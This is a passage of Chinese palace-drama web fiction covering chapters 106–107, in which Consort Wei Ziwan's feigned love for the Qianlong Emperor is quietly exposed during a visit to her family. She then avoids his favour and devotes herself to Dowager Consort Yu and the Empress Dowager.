“万岁爷说得对。”她眉头蹙起,似是感同身受。 “我早就问过永琮永璐两个孩子,问不出什么理由来,我之前还将嘉妃、纯妃、慧妃、愉嫔这四人都叫到储秀宫来,我还是什么都没问成,不过想必她们肯定注意到自己儿子不对劲了,弘历,我猜是他们惹了事,怕被你骂。” 魏紫菀换了说法,明摆着要跟皇帝站在一块,“要是真查出点什么来,你就别生气了,跟他们气也是气坏了自己身子,你想让我担心你吗。” “朕怎么会让你担心。”乾隆语气放缓,“你也是,别被那几个小子气着了。” “我怎么就不被他们气着了,我找他们谈心过一遍,我还在四妃一块商量,我知道他们有心事,但是我是他们的亲娘,他们有什么难不成还能瞒着我。” “别气别气,待会朕将他们叫过来骂一顿。” 这回换皇帝劝自己妃子别生气了。 魏紫菀闷闷不乐,“我也不是生气,弘历,是不是孩子长大后都是这样的,现在是永琮永璐这样,等和静和恪长大后,会不会也这样,你能骂得了儿子,女儿你也能骂?” “为何不能?”乾隆振振有词,“不过到时就让皇额娘骂她们。” “是吗?”魏紫菀狐疑地看他一眼。 摇了摇头,“万岁爷,皇太后年纪大了,您还让她老人家骂人,这多折腾娘娘啊。” “那你想怎么样?”乾隆笑道,“你要是不高兴了,朕就只能将他们叫过来骂了,若是公主们学了坏的,不让皇额娘骂,那就换皇后骂。” 魏紫菀心道,皇后就没必要了,这九个皇子齐心协力想要算计的人或事,她心里面猜得七七八八了。 “皇后娘娘多温柔的一位娘娘,万岁爷可别让娘娘来。” “那纯妃嘉妃慧妃?”他笑着凑近。 “都别了,纯妃嘉妃都没有女孩儿,怎么会明白养女儿的心情,慧妃——皇上您又不是不知道,妾身跟她闹不和,妾身不愿两个孩子被她骂。” 乾隆笑道:“那就无人能说她们了。儿孙自有儿孙福,我们别想太多了,这都是日后的事。” 魏紫菀抬头看他,“一开始不是皇上想得最多吗?” “朕现在不想了,紫菀,随朕出宫吧。” “皇上想出宫?”魏紫菀瞥了眼他御案上的折子。 “嗯,去雍和宫拜一拜吧,”乾隆不在意桌上的奏折,“总得要‘冬曝其日,夏濯其泉’,偶尔有闲心,行闲事。” 魏紫菀眸子动了动,“万岁爷能不能随妾身去魏家,妾身好久没看到娘家人了。” “你想去,朕就陪你。” 正好他出宫一趟,看看那九个儿子想做什么。 一起发生这么大变化,总能追根穷源的。 第106章 第106章二合一 魏府上,帝妃二人乔装打扮于此地门外下马车。 看门的下人看到他们俩,先是愣住了,再然后脸色突变,“格格——娘娘。” 他是十多年前就来到魏府的下人,因此,他见过这家的格格,也清楚魏家格格入皇宫当了贵妃娘娘。 为首的奴才立马上前跟他说话,那下人才克制住激动赶紧回去禀告老爷和夫人。 不到片刻功夫,杨佳氏就满脸激动过来给万岁爷和贵妃娘娘请安了。 “都怪奴才今日眼拙,不知紫气东来,两位贵人光临寒舍,实乃蓬荜生辉啊。” 魏清泰亦是克制不住的激动。 既高兴见到万岁爷,更高兴见到了自己将近十年不曾见过面的女儿。 他女儿看起来很好。 他假借风沙迷了眼的借口,往眼角一掖,泪水悄无声息抹干净。 杨佳氏更是情不自禁了,她两 只眼睛都被风沙蒙了眼,泪水不住地留,怎么擦都擦不干净,到最后,还是魏清泰假借内子去为两位贵人准备席座让她退下,这才没在贵人面前丢脸。 魏紫菀不知为何,总有种恍如隔世的感觉。 明明这宅子的一切都没发生变化,过去十年如何,现在就如何。 她看到院子里生长的柏树叶子飘扬,好似比从前高大许多,但又好似什么都没变化,院子里有一个八角亭,亭子中央放着一个石头刻的棋盘,静静地躺在那里,一躺就是将近十年,还有墙角的一个洞。 没人堵上。 仍有小猫小狗往里面钻,她看到一只银枪托铁瓶正从洞里钻过来,在注意到有人看它时还扬起猫脑袋回看了她一眼,没发现有什么不对就一个跳跃往墙头跳去,再跳到树上,“喵喵”叫了两声,趴在树枝上,尾巴轻轻摇着,从上俯视他们这群不请自来的客人。 “喵——” “啾——” 树上的鸟儿被猫叫声惊动了,猫是鸟的天敌,鸟也急促地叫了一声,展开翅膀就飞往别处了。 猫似乎吃的很饱,就没理会鸟儿惊动,尾巴摇晃的频率不变,格外悠闲。 这宅子的一切都没有变化,变的只是人。 她看到阿玛额娘头发花白了,他们老了,她再也不是过去承欢膝下的小女儿了。 她情不自禁地落泪,但不想让皇帝看到这一面,便匆匆擦去了泪,她明明受着锦衣玉食,可她不知为何,总有种止不住的难受。 好似她应该跟他们在一起度过很多很多美好的日子,而不是像现在这样,一直留在宫里,跟人争跟人斗。 她死死掐着帕子,克制心里那种憋闷,然后告诉自己,有失必有得,她如果没有进宫当妃子,魏家这辈子都是穷困潦倒,她也会成为一个包衣奴才的妻子,或是被高贵妃当作替身利用一辈子,比现在活得更不自在。 她克制住自己的情绪,抬头看向帝王,眼中带着一如既往的温柔爱意。 乾隆拍着她后背,“别哭了,既然见着你爹娘了,便是件开心事。” 魏紫菀缓缓点头,破涕为笑,“是,老爷,妾身很开心。” 她不是滋味走进屋里,看着阿玛额娘恭敬卑微的模样,以及皇上理所当然受着的模样。 再次意识到,皇帝跟她,本就是天差地别,什么爱意什么真情,都不可信,皇帝的话,一句都不能信,她不能将皇帝当成丈夫,皇帝也不是她的爱人。 她的爱人是这辈子只有她一个的,不管是身心,要是她跟皇帝谈心,那她的这份爱该有多脏啊。 她看到阿玛和额娘就很高兴了,这份高兴与皇帝并无多大关系。 她轻轻地将自己对皇帝产生的一丝情愫捻作一丝轻烟飘走。 陪伴皇上十多年,皇上对自己还是独一无二的恩宠,她不可能一点心动都没有的,但是在意识到这份心动产自对皇帝权势的心动,抛开权势,她对皇帝好似没有多少迷恋,有的只剩习惯,她就知道她还是从前的自己。 她没有一丝变化,这就足够了。 皇帝贪恋她的颜色,她贪恋皇帝的权力,他们俩果真般配、天生一对。 她从一开始接近皇帝本就不怀好意,既然一开始就是演戏,那就演到最后吧,给皇帝送终。 乾隆看到贵妃的神色前所未有的欢喜高兴,顾不得他在身旁,她笑着说着,眼里只有自己的娘家人,将近十年没见过面的娘家人,在她眼里,无比珍贵。 他不知为何心神微紧。 好似他一直以来面对的都是虚情假意,并非真心实意,但因为被假意蒙蔽,不曾见过真心,所以就以为贵妃给予的一切真心都是贵妃最珍贵的东西。 他扬起的嘴角慢慢抿平,好似头一次见到贵妃,眼神透着陌生之意。 …… 魏紫菀在挨个碰过侄子侄女后,才心满意足回到马车上,皇帝想去雍和宫,她没忘了这件事,见皇帝上了马车后就一动不动,便忍不住催促道:“万岁爷不是想去雍和宫祭拜吗?怎么还不动?” 乾隆抬头,目光极其冷峻,在看到贵妃受到惊吓缩回手时,又下意识变了温柔的神色。 “万岁爷,您怎么了?是身子不舒服吗,也是,妾身疏忽您了,都怪妾身不好。” 魏紫菀心跳如雷,她直觉在告诉她,她犯下大忌了,是刚才在娘家疏忽皇帝了,还是说出来的话不中听,或是她的举动出问题了?总之皇帝不可能是无缘由就变成这样的。 是不是她不该碰侄子侄女?可是皇帝对她的占有欲应该没有这样强,只是几个孩子罢了,他要是在意这点事,当初也不会将永璐给她抱养了。 魏紫菀拼命搜寻方才的一切记忆,可她真的没有发现不对劲,她对皇上说话语气没有半点变化,跟宫里的一样,甚至她对皇帝亲和的举动也跟从前一样。 将近十年的习惯,她即便在睡梦中也能表现出对皇帝全身心的爱意,这是深入到潜意识里的伪装,她不相信她会在动作和话语上露出破绽。 她甚至能不见外叫皇帝弘历,也能跟他说她们从前‘美好的回忆’,皇帝怎么可能会用刚才的眼神看她,一定是她哪儿露出破绽了。 既然她举动和语气没有变化。 那么是神态吧。 她太久没有见到自己的娘家人了,这天也是她来到这个世界最高兴的一天,所以,皇帝是不是头次看到她这副模样,所以怀疑起她过往的虚情假意了。 魏紫菀一颗心直往底下坠——她意识到自己犯下一个天大的错误,宫里最珍贵的是真情流露,而她就是凭借这一招在宫里立足的,这才有了皇帝对她将近十年的宠爱。 若是她对皇帝不复过往真情,甚至从一开始的情意都是假的,那么,她是不是会重现慧妃的路。 在慧妃还是高贵妃时,占据了帝王的真心,可后来慧妃表现出对皇帝的算计,失了皇帝真心,这才有了她钻空子的机会。 皇帝的真心可以说收回就收回。 可见皇帝的真心也是十足的虚假。 魏紫菀想得越多,心里就越沉重。 她比起慧妃犯下的错,还多出一项重大的罪名,她意图以假意混淆真情,她妄图欺君,还欺骗了将近十年,她无法想象自己会论落成什么样的后果。 她心如鼓擂,只是面上还是一无所知的模样,她笑着贴过去,挽着帝王手臂,见帝王并不抗拒,并且下意识就改为温柔的神色,好似他什么都没发觉,什么都没意识到。 她坠下的心终于止住了下落的趋势,并且飞速回升。 魏紫菀无比深刻地意识到,皇帝也在伪装,这可真是……太好了。 皇帝并没有立马给她判定死刑,不管皇帝是下意识所为,还是刻意为之,这都证明了,她还有收拾烂摊子的机会。 只要她死不承认对皇帝的假意,皇帝自然而然会觉得无趣,对别的女人上心,又继续捧出一代新宠。 在慧妃之后是她,在她之后会是什么人都无所谓了。 她这代宠妃能极其顺利退让位置,最幸运不过了,她有了两双儿女,这是她平生最幸运之事,她还有关心她的娘家人,这种种亲情,远比皇帝给她的‘爱意’更珍贵,毫无杂质。 所以皇帝的宠爱没有了也算不上多遗憾的事。 反正对谁都能有的爱意不过如此。 只是,唯一不幸的是,她一双女儿的婚事还没定下,她怕皇帝被她戏耍的恨意会迁怒在女儿身上,让她两个女儿抚蒙,即便和静的未来额驸可以确定是特成额,但尚未正式下旨的默认,也算不上定下婚事。 所以她要让皇帝以为她什么事都没发觉,对他还是从前的依赖和温柔,以及数不尽的‘爱意缠绵’,让皇帝玩腻抽身之前,将她两个女儿的婚事定下来。 乾隆任由贵妃搂着他,看向他的眼神满是温柔情意,他心里叫嚣着掐死她,手上却毫无动作。 甚至还放软了身子,让她靠得更舒服。 他看着贵妃看向他的眼神愈发温柔动人,好似他是她这辈子最爱的男人,此间真意,从未出现在宫里。 此间假意,也是他被耍得团团转的证明。 他在意识到贵妃对他从未有过真心的那一刻,想杀了贵妃,却……舍不得。 …… 魏紫菀来到雍和宫时,周围已经清空了。 魏紫菀拜着神佛,乾隆似笑非笑看着那高大佛像,突然问道:“紫菀,你在想什么?” “在想万岁爷长命百岁,如此一来,不管何时,妾身抬头都能见到万岁爷,这是世间幸事,妾身何德何能,才能跟万岁爷相守一生。” 魏紫菀脸色温柔,缀满了情意。 她心里极其冷静道:“佛祖啊,求您庇佑信女,让信女活到最后吧,为帝王送终。” 既然意识到帝王已经察觉到她的真心 是假,她也没必要继续盼着皇帝好了。 她不敢确定皇帝对她起了多少杀意,但是既然皇帝不盼着她好,她又怎么可能盼着皇帝好。 若是皇帝想她死,她也想着皇帝越早死越好! “紫菀啊。”皇帝贴近她耳畔,呼吸打在她侧脸,大手揽着她抓着线香的手。 魏紫菀没有表现出一丝异状,甚至在皇帝贴上来时全身放松,她笑道:“万岁爷是不是想吓妾身一跳。” 乾隆笑道:“朕怎么舍得吓你,朕只想告诉你,你跪拜神佛的姿势错了,若是想真心实意地求,就得要双掌合十,像朕这样,要是佛祖看你这样,以为你不诚心,不愿让你心愿成真,那就不妙了。” 他抓着她的手拜神。 魏紫菀忍俊不禁,“万岁爷可真是,妾身知道了。” 她仿着他刚才给出的‘端正姿势’,心里无比郑重地道:“愿信女长命百岁,新帝快快即位,信女心中所求才是真,嘴上所言是假,求佛祖庇佑。” 嘴上道:“信女愿与夫君长相厮守。” 她拜好后,转头笑看帝王,正好帝王也用一副笑颜看着她,为她挽起鬓间发丝,“朕与爱妃同愿。” 魏紫菀眉眼弯弯,“万岁爷,我们回去吧。” “好。”乾隆将她发丝别好,便将她横抱起,“走吧。” 魏紫菀努力放松自己,告诉自己,这是自己这世间最爱的男人,她全身心都依赖着他,所以最好不要有一丝不对劲。 乾隆一颗心却慢慢往下坠去。 …… 从宫外回来一趟,魏紫菀感觉自己浑身虚脱,但她总算过了皇帝这关。 “娘娘,您怎么了?”婉嫔拿来帕子仔细给她擦汗。 “本宫没事。”她这样说着,但全身却禁不住地颤抖,她身体在后知后觉地害怕。 颖贵人上前搂住她,心疼道:“娘娘,您别怕,您出宫到底遇到什么事了。” “本宫什么事都没有,你们别往外说。” “娘娘,这么多年了您还信不过我们吗?” 颖贵人心里急切,见娘娘无论如何都克制不住颤抖,命人取来鸡蛋,在她头顶、胸口、后背、左右掌心六个部位各自滚七圈,这才将娘娘的鞋子脱下来,除袜,在脚心也滚了七圈。 婉嫔取来汤婆子,捂在娘娘掌心。 魏紫菀这才勉强克制住那种从心底升起的惧怕,好可怕。 她倒羡慕起当年慧妃失宠失得那样容易。 她现在想脱身都难。 但她确实从皇帝身上获得巨大的好处,现在皇帝还没有跟她翻脸,她还得装下去。 实在太可怕了。 她心里抗拒着跟皇帝的接触,但是无碍,接下来皇帝应该会愁心皇子们的事,这种事分散了皇帝注意力,皇帝应该不会想起她这里了。 她轻轻吐出一口气,出了一身冷汗,她现在头有些痛,闭上眼睛闭目养神。 休息了一个时辰才勉强将部分精力养回来。 她脑袋仍有些晕沉,她有种不妙的预感,她这一惊一乍,少不得身体得出点问题。 皇帝必然怀疑她是不是察觉到了什么。 她捏着鼻梁,笑道:“你们还守在这,是害怕本宫出事吗?” “娘娘都到了什么时候还说这种话!呸呸呸,难听死了。”颖贵人故作掌嘴打了自己嘴巴三下。 婉嫔给她捏着腿,“娘娘,您在宫外发生的事,真的不能告诉妾身吗?” “告诉你又能怎么样。”魏紫菀着实觉得那没什么好说的,甚至觉得被吓出一身汗的自己难看死了,她看了眼自己的腿和胳膊,“从明日起,本宫得好好锻炼身体了。” 以后在皇帝面前做戏,下意识的生理反应不能掩饰,可如果她加强了对自己身体的控制,遇到危机时能救她一命吧。 而且她再也不要像今日这样丢脸了,硬生生将回娘家的喜事玩成提心吊胆的练胆之旅,她可真够出息的。 “妾身跟娘娘一起吧。”婉嫔实在放心不下。 “那好啊,就一起练八段锦吧。” 魏紫菀轻轻吐出一口气,她修身养性的功夫还差远了,就当是挑战吧。 如果有一天她能回到原来世界,她可以考虑当演员了。 …… 乾清宫,寂静无声。 乾隆帝嘴角微微上扬,似是心情好极了,在慢慢批改奏折。 过来禀告的大臣发现万岁爷今日心情出乎意料的好,也跟着放下一颗心。 不曾发现的是,皇帝笑意不达眼底。 …… “额娘,我们去找贵玛嬷吧!”和静朝着额娘撒娇,魏紫菀笑道:“好啊。” 她或许能跟过来人取取经。 寿康宫,裕贵太妃看到小孙女时心里乐开花,“又过来找贵玛嬷了,你这孩子真是缠人。” “贵妃,你脸色怎么这样难看。”她看到贵妃时不禁担心起来,用手背贴在贵妃额头上,好在不烫。 魏紫菀慢慢地靠近她,搂紧她,像是在抱着自己的额娘,裕贵太妃愣了一下,回抱着她,让人将和静抱下去,“怎么了,跟贵额娘说说吧。” 魏紫菀迟疑地摇了摇头,“我没事,我在宫外见到我阿玛额娘了,我高兴坏了,就是没能抱一抱我额娘,现在见到您,我就想到我额娘了,我想抱一抱你。” “你这孩子,想抱就抱吧,贵额娘就在这呢。” 魏紫菀合上眼睛,身体慢慢下滑,头枕在裕贵太妃腿上,头仍是有些痛,但没刚才痛了。 人一旦受惊过度会精神衰弱,她过了这阵子就会好点了,“贵太妃——我以后可以在没有其他人的时候,叫您一声额娘吗,您就是我在宫里的额娘了。” “当然可以。”裕贵太妃的声音轻柔的像是在哄孩子。 第107章 第107章二合一 “哀家平生没有女儿,你要是成了我女儿,我能有这样一个漂亮的女儿,那得高兴坏了。” 魏紫菀心里道,她也很高兴,就是现在什么力气都没有,闭上眼睛就想睡了。 裕贵太妃不知贵妃身上发生何事了,但她总归猜到贵妃身子不适,她拍着贵妃后背的手越发轻缓。 直到贵妃睡去,她给贵妃身上盖好被子,这才退出去。 跟心腹奴才谈起这事,“看紫菀模样并非是思念娘家人吧。” 好几年没看到娘家人,突然看到肯定是激动的,只是没有上手抱自家额娘罢了,不至于这么难过,都多年没见过自家额娘了,那段难忍的日子都能熬过去,现在不可能见了人反倒更伤心难过了。 裕贵太妃断定道:“紫菀身上一定是发生哀家不知道的事。” 是皇帝?还是儿女?或是家族? 裕贵太妃看多了贵妃游刃有余的模样,能难为贵妃的,一定是皇权这种东西,毕竟家族族人出息,儿女孝顺,若非皇权,也没什么能威胁到贵妃了。 裕贵太妃不禁想到了皇帝,“但愿是哀家多想了,我还真不愿那些乱七八糟的事降临到紫菀身上。” “娘娘,咱们说点开心的事,您看到和静公主,不得多笑笑。” “哀家天天都笑,不过看到那孩子,确实更开心了。” 裕贵太妃捏着鼻梁,一种不安感弥漫心头,即便是见到孙女 的高兴,也被她慢慢压下去了,她跟奴才说了两句话就进屋里了。 看着贵妃睡颜,轻轻叹了口气,“睡吧睡吧,睡醒就是好日子了。” 入了宫守着这四四方方的宫墙过日子,没人能担保自己过得一定顺心。 可她总归是盼着贵妃顺心的。 她也盼着这后宫当中每个妃子都能顺心如意,即便她知道这是天方夜谭,既然人人不能如意,那她就盼着她最亲近的孩子称心如意了。 …… 魏紫菀醒来时感觉身上暖融融的,头也不那么疼了。 果然面对焦虑最好的办法是大睡一场,“娘娘,您在做什么?” “哀家在给和静这孩子捣鼓呢。”裕贵太妃正拿着件小马甲绣着,坐在她身旁,魏紫菀一起来就能碰到裕贵太妃了,两人脸挨在一块,还真似母女俩。 裕贵太妃忍不住笑了,“你这孩子怎么不睡久一点,哀家看你睡得不省人事,还给你点了熏香,哀家以前可从来不点这东西,嫌味道太重了,熏人!” “额娘待我真好。” 裕贵太妃被这一声额娘叫得心软软的,“你这孩子说话这么好听,额娘听了高兴,以后没有外人的地方,你就叫我额娘好了,我喜欢听你这么叫我。” “那额娘额娘额娘。”魏紫菀连叫了三声额娘,语气甜腻,双手搂上她,“您就是我的好额娘,是我在这世间第二要好的额娘。” “欸欸欸!”裕贵太妃也连应了三声额娘,“既然你将我当额娘,我也不怕将你当闺女,我平生就弘昼一个儿子,再加上皇帝也就两个儿子,你当我闺女,我心里高兴,也将你当自己人,你要是有什么烦心事就跟哀家说好了,哀家这张嘴可严实了。” 她笑道:“过去齐姐姐过来跟我说她心里话时,我可谁都没说过,还有熹姐姐、谦妹妹,她们说,我只管听,谁想从我嘴里撬出一个字,想都别想。” 魏紫菀闷闷笑了,“这个我知道,额娘号称千杯不醉吧,听说额娘不管喝没喝醉,喝多了就二话不说倒头就睡,从不多说一句话的,都说酒品见人品,额娘酒品这般好,必然人品贵重。” 裕贵太妃被她夸得心里高兴,越发感觉到这闺女和儿子的区别,儿子闹心慌,闺女就是这么贴心,说的话太中听了,她听了多高兴,“一般一般,我就跟先帝喝过酒,先帝就没拼过我,跟先帝比人品贵重,哀家比不过的。” 她谦虚又高兴地摆摆手。 “这还不算厉害?”魏紫菀顺着她意思道: “像额娘这样的人,平生谁遇到额娘都是幸事,谁让额娘生来就是贵人命,这贵人可不是指您的身份,而是指您的性子,您人品贵重,所以不管是谁,遇到了您就只有高兴的份,遇到难事了,您一句话就能帮人解惑排难,遇到坎儿了,您又是头一个振作起来的,别人被您拉一把,那可不就是命中有福才遇到您这位贵人吗?就算咱们没难事没坎儿,见到您整天乐呵呵的,咱们胃口也好了,多吃两碗饭,延年益寿,您不是贵人还能是什么?” 裕贵太妃头一次被夸得这么厉害,她想说自己没这么厉害,但话还没说出来,嘴角就不住往上翘了,人太高兴了就什么话都说不出来,心情热烈,情绪高涨,恨不得现在就带着她的好女儿到处炫耀。 瞧瞧,瞧瞧,这就是哀家的闺女,亲生的!从哀家肚子里出来的! 不然说话咋这么中听,太舒服了,哎哟哎哟,她早知道就拉皇太后过来了,让她看看她这好闺女啊,说话太好听了,一看就是对准她身上的长处来的。 她就说她人品贵重,就快跟先帝爷肩并肩了,咋生出来的儿子就这么放浪形骸,原来是还有个女儿等着她,她女儿也是个人品贵重的,天生就该是她女儿。 “你小嘴怎这般甜,哀家被你甜的心肝都在喊着舒服了。” 魏紫菀抿了抿唇,笑道:“额娘,您舔舔您嘴唇。” 她伸手就将一旁的蜜枣掰开,将蜜枣涂在她嘴唇上。 裕贵太妃依言舔了舔嘴唇,“还挺甜的。” “自然,您舔一口您的嘴唇,就知道有多甜了,由您这张嘴说出来的话,那必然中听,女儿都叫您一声额娘了,女儿说话有多甜,您说话只会比女儿甜成千上万倍,您在宫里人缘这般好,少不了您人品贵重、说话好听,女儿是有多幸运才遇上您这位好额娘啊。” “哎哟。”裕贵太妃心里更高兴了,这多会说话,就该是她女儿。 “额娘,往后女儿想经常过来找您好不好,您也知道,女儿十多岁时就进宫,离了自己的亲生额娘,现在女儿认了您做女儿的亲生额娘,这辈子都只想留在您身边了,女儿离不得额娘。” “是啊,你都进宫快十年了,哎哟,这么小的年纪就进宫,让哀家看看,当年受了多少苦。” 裕贵太妃被甜言蜜语迷了眼,恨不得捧着女儿的脸蛋和手脚仔仔细细看清楚有没有留下干活的伤疤。 魏紫菀也任由她看着,即便腮帮子被挤得有些歪了,但这不要紧,这是她新鲜出炉的额娘对她的关心和爱。 她决定好了,她不该继续陷在对皇帝的惧怕中。 这样她要怕到什么时候。 她伺候皇帝近十年了,给他生了三个孩子,养了四个孩子,这些年的情绪价值给到位了,即便她确实通过皇家权势占了不少便宜,但皇帝也没吃亏。 要是皇帝恨她怨她,谋而后动想算计她,那就来吧,这辈子就当她注定命短,早死早超生。 她现在就奔着当太妃来,她要跟裕贵太妃处好关系。 她连皇帝这么难伺候的、要求真心的人都能伺候好,她没理由跟裕贵太妃处不好关系。 她不光要跟裕贵太妃处好关系,她还要跟皇太后好。 她要成为妇女之友,有这些长辈在,她也算是有了归处。 她这辈子她就不认命了! …… 自从这日之后,魏紫菀每天都往寿康宫去。 她不争宠了,后宫多出好多得宠的妃子,都是新人。 其他高位极其费解。 慧妃蹙眉,“以贵妃的姿色还远不到要失宠的时候,就算贵妃算不上八面玲珑,但她能讨好皇上近十年,没理由一朝失宠。” 她说起后半句话情绪有些复杂,她怎么感觉不是贵妃失宠,而是贵妃在避宠,皇帝不是没有去过储秀宫,但每次去储秀宫时,贵妃总会先一步到寿康宫。 这样下去,没人看出问题那才是假。 这贵妃避宠了,皇帝最近脾气都不大好,这脾气不好了,遭殃的还是后宫妃子和朝廷臣子。 那些得宠的新人也就看着得宠,皇帝在她们房里呆一会儿,就起身走人了,好似只是用她们来气贵妃似的。 “本宫搞不懂贵妃想做什么了,也搞不懂万岁爷的意思。” 她深深地叹了口气,真觉得这宫里发生的事让人头痛,她儿子跟八个皇子成天厮混,不管她怎么罚怎么说,都不听她的话,将一切消息都埋在心里不说。 而贵妃原本看着挺理智的,怎么做出避宠这种事了。 …… 不管后宫妃子怎么猜疑,魏紫菀确实过得风生水起。 她带着两个女儿在裕贵太妃和皇太后之间游走,心情快活,头一次发现抛开皇帝不说,她讨好两位长辈是真的开心快活啊。 两位长辈不会要她十成十的真心,只要她和两个女儿的陪伴就好。 而她也不用用假意蒙骗皇帝,让皇帝误以为是真心。 可真心这种东西她这辈子都给不了皇帝,她不觉得自己的真心脏成这个样子,看着皇帝隔三差五宠幸后宫妃子,她还能傻乎乎觉得皇帝对她都是真爱,也还能觉得自己对皇帝真心实意。 真爱这种东西说着说着可别将自己给骗了,到目前为止,她对皇帝起的爱意全都是因为他 的身份地位。 没有皇帝,她的孩子不会是皇子公主,她也不会是贵妃,魏家族人不会有出息,她和她的亲人不会锦衣玉食。 不然她当初何至于跟自己年长十多岁的皇帝‘谈恋爱’,就算皇帝模样再好看再英俊,等皇帝老了后,她还年轻,这本来就是权势和美色的交易。 只是伪装成一场真心相遇了 她不爱皇帝,真心不爱。 说得再多也不爱。 皇帝也不爱她,皇帝只是习惯了她。 等远离了她,就习惯没有她了。 所以没有的东西她要怎么给皇帝。 “额娘,您吃。”和恪捻起点心亲自喂额娘吃。 和静也嚷嚷道:“我也要我也要,妹妹喂完到姐姐!” 魏紫菀笑眯眯点头,将她那块点心咬了一小口,再轮到姐姐那块点心的一小口,再往后喝了一杯茶清清嗓子。 她不是非常爱吃宫里的点心,这些甜点心总是塞嗓子眼的,她还是喜欢吃肉干喝奶茶。 “你们吃完了是不是忘记一件事了?” “嗷?”和静傻愣愣地看着额娘。 和恪无奈叹气,小小的人儿摊开双手,“姐姐,你忘记还有皇玛嬷和贵玛嬷了。” “对哦!”和静赶紧将点心都塞到嘴里了,腮帮子一鼓一鼓的,还在嚼着,看起来格外鼓,也格外好捏,魏紫菀忍不住将手探过去。 和静嚼着嚼着将腮帮子凑过去,“额娘,腻蹑吧。” 瞧瞧这孩子说话都不清楚了,还上赶着让额娘捏腮帮子,多孝顺的孩子。 魏紫菀再一次被女儿感动,轻轻地在她脸上捏了一下。 叹道:“真好捏啊。” “额娘,我的也能被你捏。”和恪大口吃完点心,又喝了口水清清嗓子,拍了拍胸膛,“我不吃东西,额娘捏多久都行。” “真好。”魏紫菀心里太感动了,双手左右开弓真在女儿脸上捏了十多下,好舒服的手感,果真不愧是小孩子的皮肤,就是好捏。 裕贵太妃在一旁看得眼热,“哀家的好女儿,什么时候轮到哀家捏一捏。” 魏紫菀极其大方,将小女儿抱起来,“来,贵太妃,您尽情地捏,捏多久都无碍,这孩子累了会说的。” 和恪被自己额娘一股脑塞进贵玛嬷怀里,她有些茫然,但并不抗拒贵玛嬷的怀抱,她自个儿调整了个舒服的姿势,没忘了刚才的要事,拿起炕桌上一块点心,乖巧贴心道:“贵玛嬷,和恪喂你吃点心。” “哎呦,果真不愧是哀家的好孙女。”裕贵太妃将小孙女抱起来,猛地亲了好几口,“哀家的好孙女,真乖,哀家可喜欢你额娘,也可喜欢你和你姐姐,还有你两位哥哥了。” 和恪被亲得身上痒痒的,忍不住缩起来,又笑嘻嘻的,“和恪也喜欢贵玛嬷,额娘喜欢贵玛嬷,七哥九哥也喜欢贵玛嬷。” “你这话中听!果然是哀家的好孙女。” 裕贵太妃心里美滋滋的,她说话好听,她女儿说话也好听,轮到她孙女这里,那也是小小年纪就习得她们母女俩的真传了,说话那叫一个动听,说到她心坎里了。 皇太后在旁心里酸溜溜的。 也不知怎么回事,她才是贵妃正经的婆婆,贵妃不讨好她,反而专心讨好裕妹妹了。 连带着两个小孙女也更喜欢亲近裕妹妹,喂点心时也头个想到裕妹妹,她这心里听着不是滋味啊。 她忍不住轻咳一声,“你们什么时候这般亲近了,你还叫贵妃女儿。” 裕贵太妃理直气壮,“她也是哀家儿媳妇,常言道一个女婿半个儿,那一个儿媳也是半个儿,贵妃是哀家女儿有何错,哀家还嫌平时叫贵妃女儿叫得少了,哀家就该早早认了贵妃这个女儿才对,你说对不对,紫菀。” 裕贵太妃新认了女儿,有意在皇太后卖弄。 魏紫菀看出裕贵太妃的心思,忍不住笑了笑,也配合她的卖弄,“是,额娘,您啊,是女儿最亲最亲的额娘之一了。” “听听,姐姐,您听听,妹妹的女儿多好啊,您羡慕也来不及。” 皇太后看得目瞪口呆,又看着贵妃对裕贵太妃毫不避讳的亲近,这份亲近在她面前是从来都没有的,看得她不光眼热,心更热。 她也想让贵妃叫她一声皇额娘。 但是这个想法刚涌到脑海里,便一下子被熄灭了所有热情,在宫里,只有皇帝和皇后以及先帝皇子和福晋才能叫她一声皇额娘,要是贵妃这样叫她,被别人听进去,那就是犯了规距了。 贵妃愿不愿意叫她是一回事,被皇帝听到了是另一回事。 她这个儿子看着是挺孝顺的,但是触及规矩和前朝之事,孝顺一词都得摆在他皇权之后,她不能乱了规矩,要是让她儿子以为贵妃心大了,那就不妙了。 固然她对贵妃有种种不满,也觉得贵妃的不乖顺可恶,但人心并非磐石,贵妃这些日子天天带着两个孩子来陪她和裕妹妹。 都顾不上自己恩宠了,这份孝心,她看在眼里,也记在心里。 不然大好年华的贵妃何至于将时日浪费在她们两个老人家身上,又不是不得宠,也不是颜色没了。 裕贵太妃倒是隐隐猜到贵妃的心思。 但她性子本就爽朗不拘,贵妃想利用她达成目的,她也乐得庇护贵妃一回接一回。 不为别的,就为贵妃叫她的一声“额娘”,人生在世,就图一个开心欢快就好,一辈子眨眨眼睛就过去了,想太多无用。 况且贵妃除了一开始目的不纯,对她是真心的好,会说好听话逗她开心,会带着两个孩子过来看她,日日陪着她,亲如母女。 她不就是护着贵妃吗,贵妃来多少回,她就护着多少回。 只盼着贵妃的做法有效果,贵妃既然不盼着恩宠了,那她就替贵妃祈祷一回吧,就盼着皇帝对贵妃的心思淡下来。 紫菀有儿有女又有地位,即便没有帝王恩宠,这辈子陪着她,她有生之年想要护住贵妃并不难。 裕贵太妃被小孙女喂着点心吃的同时,心里给自己打气。 告诉自己尽量活久点,长命百岁,贵妃愿意付出真心陪她这位老人家,她也得好好养着身子,能多庇护贵妃几年,就多庇护几年。 魏紫菀到底是注意到皇太后眼巴巴的眼神了。 将大女儿拎起往皇太后怀里一塞,“好女儿,去哄哄你皇玛嬷吧,你还没给你皇玛嬷喂吃的呢。” 和静性子实属热情,一听皇玛嬷还没有吃点心,立马屁颠屁颠过去捻起点心就要往皇玛嬷嘴里塞去,皇太后堪堪张大嘴巴就被她塞了满口点心,差点呛着。 好不容易平复这口气后,和静下一块点心接踵而来,好在一旁的奴才拦下了。 皇太后嘴里嚼着点心,看了眼一小口一小口动作轻柔地喂着裕妹妹的小孙女和恪,又看了眼一大口一大口不拘小节往她嘴里塞点心的大孙女和静。 莫名觉得自己被比下去了,当然,她不是会迁怒孙女的性子,她顶多是拎起小孙女,抖了抖,将她手上的点心屑都抖干净,再将和静手中的点心拿走,自己亲自做示范。 “和静啊。” “皇玛嬷 ,和静在!“小孩认真看着她,皇太后顿时感觉自己被重视了,说话语气愈发轻柔了,“和静啊,皇玛嬷教你怎么喂人吃点心好不好。” “好!”和静举起小手,眸子尽是兴奋,这可是皇玛嬷头次教她东西,她先学了再教给妹妹,她们两姐妹一定是宫里最厉害的公主了。 “你看皇玛嬷的动作,吃点心是不是都是轻轻张开嘴,一口接一口慢慢地吃的。” 